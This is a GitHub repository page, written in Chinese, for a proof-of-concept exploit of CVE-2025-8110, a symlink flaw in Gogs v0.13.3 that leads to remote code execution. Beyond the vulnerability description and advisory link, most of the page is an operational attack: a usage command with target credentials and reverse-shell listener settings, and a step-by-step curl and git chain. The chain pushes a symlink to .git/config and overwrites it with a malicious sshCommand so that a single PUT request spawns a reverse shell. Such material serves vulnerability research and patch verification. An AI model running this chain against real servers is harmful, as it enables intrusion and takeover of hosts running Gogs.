mananispiwpiw/CVE-2025-8110-PoC
GitHub: mananispiwpiw/CVE-2025-8110-PoC
这是一个针对CVE-2025-8110漏洞的Python概念验证脚本,通过自动化利用Gogs的符号链接漏洞实现远程代码执行。
Stars: 0 | Forks: 0
# CVE-2025-8110 概念验证脚本
针对 **CVE-2025-8110**(Gogs v0.13.3 `UpdateRepoFile` 符号链接远程代码执行)的 Python 概念验证脚本。一击即中:恶意的 PUT 请求本身将触发 `git fetch` → `sshCommand` → 反向 Shell。
## 详情
- 针对 **CVE-2025-8110** 的概念验证脚本
- 受影响版本:Gogs **v0.13.3**
- 已修复版本:Gogs **v0.13.4**
- 参考来源:https://github.com/gogs/gogs/security/advisories/GHSA-2f2w-5pm3-26wp
## 漏洞行为
`internal/db/repo_editor.go` 中的 `UpdateRepoFile` 处理程序调用 `os.WriteFile` 来写入文件内容,该操作会跟踪符号链接而无需进行检查。结合之前的符号链接提交会遍历到 `.git/` 这一事实,攻击者可以:
1. 将符号链接 `x` → `.git/config` 推送到裸仓库
2. 调用 `PUT /api/v1/repos/{owner}/{repo}/contents/x`,发送包含设置为反向 Shell 命令的 `core.sshCommand` 的恶意 `.git/config`
3. **同一个 PUT 请求** 写入配置 **并** 触发 `git fetch origin`(通过 `CreateOrUpdateRepoFile` → `UpdateLocalCopyBranch`),这会读取被修改的配置并执行 `sshCommand` —— 一击即中,生成反向 Shell。
## 文件
- `poc.py`:提示输入目标、用户名、密码、LHOST 和 LPORT;登录,创建 API 令牌,创建仓库,推送符号链接,并通过 API 覆盖 `.git/config` —— 这个单一的 PUT 请求本身就会触发反向 Shell。
## 使用方法
运行:
```
python3 poc.py --target https://gogs.example.com --username admin --password admin123 --lhost 10.10.14.206 --lport 9001
```
### 参数
| 参数名 | 必需 | 描述 |
|-----------------|------|------------------------------------|
| `--target` / `-t` | 是 | Gogs 目标主机名或 URL |
| `--username` | 是 | 已有的 Gogs 用户名 |
| `--password` | 是 | 已有的 Gogs 密码 |
| `--lhost` | 是 | 用于接收反向 Shell 的监听 IP |
| `--lport` | 是 | 监听端口 |
## 工作原理
1. **登录** —— 使用提供的凭据登录到 Gogs Web 界面
2. **获取令牌** —— 通过 `/user/settings/applications` 创建个人 API 令牌
3. **创建仓库** —— 通过 Gogs API 创建一个新的空仓库
4. **推送符号链接** —— 克隆仓库,创建符号链接 `x → .git/config`,提交并推送
5. **覆盖并触发(一击即中)** —— 发送 `PUT /api/v1/repos/{owner}/{repo}/contents/x`,携带包含 `core.sshCommand` 和 SSH 远程 URL 的恶意 Git 配置。Gogs 的 `CreateOrUpdateRepoFile` 内部调用 `UpdateLocalCopyBranch` → `git fetch origin`,这会读取被污染的配置并执行 `sshCommand` —— 通过一个请求生成反向 Shell。
## 等效的 curl 命令
### 登录并获取 CSRF 令牌
```
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies http://target/user/login
# 从响应中提取 _csrf
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies -X POST http://target/user/login \
-d '_csrf=&user_name=&password='
```
### 创建 API 令牌
```
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies http://target/user/settings/applications
# 提取 _csrf
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies -X POST http://target/user/settings/applications \
-d '_csrf=&name=poc-token'
```
### 创建仓库
```
curl -X POST http://target/api/v1/user/repos \
-H "Authorization: token " \
-H "Content-Type: application/json" \
-d '{"name":"poc-repo"}'
```
### 推送符号链接
```
git clone http://:@target//poc-repo.git
cd poc-repo
ln -s .git/config x
git add x
git commit -m "add symlink"
git push origin master
```
### 覆盖并触发(单一 PUT 请求 —— 期望超时,Shell 随后到达)
```
curl -X PUT http://target/api/v1/repos//poc-repo/contents/x \
-H "Authorization: token " \
-H "Content-Type: application/json" \
--max-time 10 \
-d '{"message":"x","content":""}'
```
PUT 请求本身会触发 `git fetch origin`,该命令读取被污染的 `.git/config` 并执行反向 Shell。无需第二个请求。
标签:API攻击, CISA项目, CVE-2025-8110, Git, Gogs, 反向shell, 威胁模拟, 攻击脚本, 概念验证, 污点分析, 漏洞PoC, 漏洞复现, 漏洞披露, 符号链接漏洞, 系统入侵, 编程工具, 网络安全, 网络安全研究, 远程代码执行, 逆向工具, 隐私保护